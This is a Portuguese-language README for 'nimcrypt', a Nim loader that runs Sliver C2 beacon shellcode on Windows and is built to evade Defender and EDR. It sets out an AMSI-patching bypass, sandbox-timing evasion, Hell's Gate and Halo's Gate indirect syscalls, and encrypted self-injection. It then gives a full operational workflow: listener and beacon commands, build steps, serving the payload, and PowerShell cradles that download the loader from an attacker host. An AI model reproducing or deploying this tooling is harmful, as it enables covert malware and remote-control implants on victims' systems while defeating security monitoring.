nimcrypt

Um carregador de shellcode Sliver escrito em Nim direcionado ao Windows x64. Duas variantes cobrindo as duas situações de entrega mais comuns. Testado contra o Windows Defender com proteção em tempo real ativada.

Variantes

stager

Lê um blob de shellcode criptografado do disco, descriptografa-o na memória e faz auto-injeção. Use esta quando você já tem uma primitiva de queda de arquivo e quer um binário pequeno e simples.

loader.exe <shellcode.bin> [key_hex iv_hex]

Key e IV são opcionais. Se omitidos, o arquivo é tratado como shellcode bruto não criptografado.

stageless

Baixa o blob criptografado do seu C2 via HTTP usando a pilha WinHTTP do Windows, descriptografa-o na memória e faz auto-injeção. Nenhum arquivo toca o disco. Use esta quando você pode executar um binário no alvo mas não pode confiavelmente deixar cair um segundo arquivo.

Edite as constantes no topo de stageless/loader.nim antes de compilar:

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 hex chars from encrypt.py
scIV   = "..."   # 32 hex chars from encrypt.py

Técnicas

Evasão de sandbox

O carregador stageless chama Sleep(5000) na inicialização e mede o tempo real decorrido com GetTickCount64. Se menos de 4500ms passaram, o processo sai. A maioria dos ambientes automatizados de sandbox avançam rapidamente ou pulam os sleeps, fazendo a verificação falhar. Isso é executado antes de qualquer atividade de rede ou execução de shellcode, então sandboxes que inspecionam o comportamento de rede não veem nada.

Bypass do AMSI

amsi.nim faz patch em AmsiScanBuffer em tempo de execução usando duas camadas de ofuscação:

Ocultação de string via hashing FNV-1a. A string AmsiScanBuffer nunca aparece no binário. Em vez disso, seu hash FNV-1a é calculado em tempo de compilação e armazenado como uma constante. Em tempo de execução, o carregador percorre a tabela de exportação da amsi.dll, faz hash de cada nome de exportação e compara com o valor armazenado para encontrar o endereço da função sem nunca manter a string na memória.

Ofuscação XOR em tempo de compilação. Tanto o nome da DLL (amsi.dll) quanto os bytes do patch (xor eax, eax; ret = 31 C0 C3) são codificados com XOR em tempo de compilação usando uma chave aleatória gerada nova a cada build via um subprocesso Python. A chave é embutida como uma constante e os bytes são decodificados em tempo de execução imediatamente antes do uso. Os bytes brutos mudam a cada build, quebrando assinaturas estáticas na sequência do patch.

O patch sobrescreve os primeiros três bytes de AmsiScanBuffer com xor eax, eax; ret, fazendo cada chamada retornar AMSI_RESULT_CLEAN independentemente da entrada.

Criptografia do payload

encrypt.py criptografa shellcode bruto com AES-256-CBC usando uma chave de 32 bytes gerada aleatoriamente e IV de 16 bytes. O carregador descriptografa in-place usando a API BCrypt do Windows, então nenhuma biblioteca de criptografia de terceiros é necessária no alvo.

Transição de memória RW para RX

A memória é alocada como PAGE_READWRITE, o shellcode é escrito nela, e então a região é alterada para PAGE_EXECUTE_READ antes da execução. Alocar diretamente como PAGE_EXECUTE_READWRITE é uma assinatura bem conhecida que o Defender e EDRs sinalizam explicitamente. Separar as fases de escrita e execução evita esse padrão.

Syscalls indiretas (Hell's Gate + Halo's Gate)

stageless/syscalls.nim contorna tanto a camada da API Win32 (kernel32.dll) quanto quaisquer hooks de userland na ntdll.dll colocados por EDRs.

Resolução do SSN. Na inicialização, o carregador obtém o endereço base da ntdll e analisa sua tabela de exportação PE, coletando cada exportação Nt* ordenada por RVA. Para cada função NT que precisamos, ele verifica os primeiros quatro bytes:

• 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa que o stub está limpo e o SSN é lido diretamente dos bytes 4-5. Isto é Hell's Gate.
• Qualquer outra coisa significa que o prólogo da função foi patchado por um hook do EDR. Nesse caso, o carregador percorre vizinhos na lista ordenada até encontrar um stub limpo, então calcula o SSN alvo como neighbor_SSN +/- distance. Os SSNs incrementam em um por stub em ordem de endereço. Isto é Halo's Gate.

Localização do gadget. O carregador escaneia o primeiro stub Nt* limpo que encontra pela sequência de bytes 0F 05 C3 (syscall; ret). Isso dá um endereço dentro da seção .text da imagem da ntdll que podemos reutilizar.

Geração do stub. Para cada função necessária, um stub de 22 bytes é escrito em uma única página RW que é alterada para RX antes do uso:

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget address

O jmp [rip+0] desreferencia os 8 bytes imediatamente seguintes (o endereço do gadget) e redireciona a execução para a sequência syscall; ret existente na ntdll. A instrução syscall dispara a partir do .text da ntdll, e não da nossa alocação anônima, derrotando qualquer rastreamento em nível de kernel de qual região de memória emitiu o syscall.

As quatro funções cobertas pelos syscalls indiretos são NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.

Auto-injeção

Após a descriptografia, o carregador stageless aloca uma região RW em seu próprio processo via NtAllocateVirtualMemory, copia o shellcode com copyMem, altera a região para RX via NtProtectVirtualMemory e cria uma thread via NtCreateThreadEx. A thread principal então bloqueia indefinidamente em NtWaitForSingleObject, mantendo o processo vivo enquanto as goroutines do beacon executam. Todas as quatro chamadas passam pelos stubs de syscall indireta descritos acima.

A auto-injeção mantém a superfície de chamada mínima. Não há chamadas de API entre processos (WriteProcessMemory, CreateRemoteThread, etc.), que são os principais vetores de detecção para injeção remota clássica.

Fluxo de execução (stageless)

1. Verificação de temporização: dormir 5s, sair se decorrido < 4.5s
2. Patch do AMSI: resolver AmsiScanBuffer via FNV-1a, sobrescrever com xor eax, eax; ret
3. Resolver stubs de syscall indireta: analisar exportações da ntdll, encontrar SSNs (Hell's Gate + Halo's Gate), localizar gadget syscall; ret, escrever stubs
4. Download: requisição GET WinHTTP, ler corpo da resposta
5. Descriptografar: AES-256-CBC via BCrypt in place
6. Alocar: NtAllocateVirtualMemory no próprio processo (RW) via syscall indireta
7. Copiar shellcode para a alocação
8. Proteger: NtProtectVirtualMemory para PAGE_EXECUTE_READ via syscall indireta
9. Executar: NtCreateThreadEx via syscall indireta
10. Aguardar: NtWaitForSingleObject no handle da thread via syscall indireta

Fluxo de execução (stager)

1. Patch do AMSI
2. Ler arquivo de shellcode do disco
3. Descriptografar se key e IV foram fornecidos
4. VirtualAlloc (RW), copiar shellcode, VirtualProtect para RX
5. Executar via cast de ponteiro de função

Requisitos

Na sua máquina de build Linux:

• Nim + nimble (nimble install winim)
• mingw-w64 (x86_64-w64-mingw32-gcc)
• Python 3 + pycryptodome (pip install pycryptodome)

Fluxo de trabalho completo

1. Iniciar um listener Sliver

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. Gerar shellcode beacon

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. Criptografar

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. Definir constantes e compilar

Edite stageless/loader.nim e defina c2Host, c2Port, c2Path, scKey, scIV, então a partir da raiz do projeto:

# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

Sempre compile a partir da raiz do projeto para que apenas o nim.cfg raiz seja carregado. A saída é um PE Windows x64 estaticamente vinculado, sem dependências externas de DLL além das bibliotecas padrão do sistema.

5. Servir ou transferir

Stageless: sirva o blob criptografado via HTTP na porta correspondente a c2Port:

cd bins && python3 -m http.server 443

Stager: transfira ambos os arquivos para o alvo:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. Executar

Stageless:

loader.exe

Stager com criptografia:

loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager sem criptografia:

loader.exe shellcode.bin

Entrega via PowerShell

Se for entregar via um cradle de download do PowerShell, o AMSI escaneará o script antes do carregador executar. Faça patch do AMSI na sua sessão PS primeiro:

python3 gen_amsi.py

Cole a saída na sessão do PS antes de baixar ou executar qualquer coisa. O script resolve AmsiScanBuffer pelo hash da tabela de exportação, então a string nunca aparece em texto plano, e todos os bytes do patch são codificados com XOR com uma chave aleatória por execução.

Notas

• Requer Windows 10 / Server 2016+ (Universal CRT)
• BCryptSetProperty para modo de encadeamento retorna STATUS_INVALID_PARAMETER mas BCrypt usa CBC por padrão, a descriptografia funciona corretamente
• Syscalls indiretas cobrem apenas as quatro funções NT críticas para injeção. Chamadas Winsock e BCrypt ainda passam por seus caminhos normais de API, o que é aceitável já que essas chamadas são benignas comportamentalmente isoladamente
• A instrução syscall nos stubs dispara de dentro da seção .text da ntdll (com suporte de imagem, assinada pela Microsoft), não da página do stub, derrotando o rastreamento de origem do syscall em nível de kernel

Referências

• https://github.com/gatariee/ldrgen
• https://github.com/D3Ext/Hooka

Você pode encontrar mais detalhes sobre Mecanismos, Técnicas e outras ferramentas do Defender no meu blog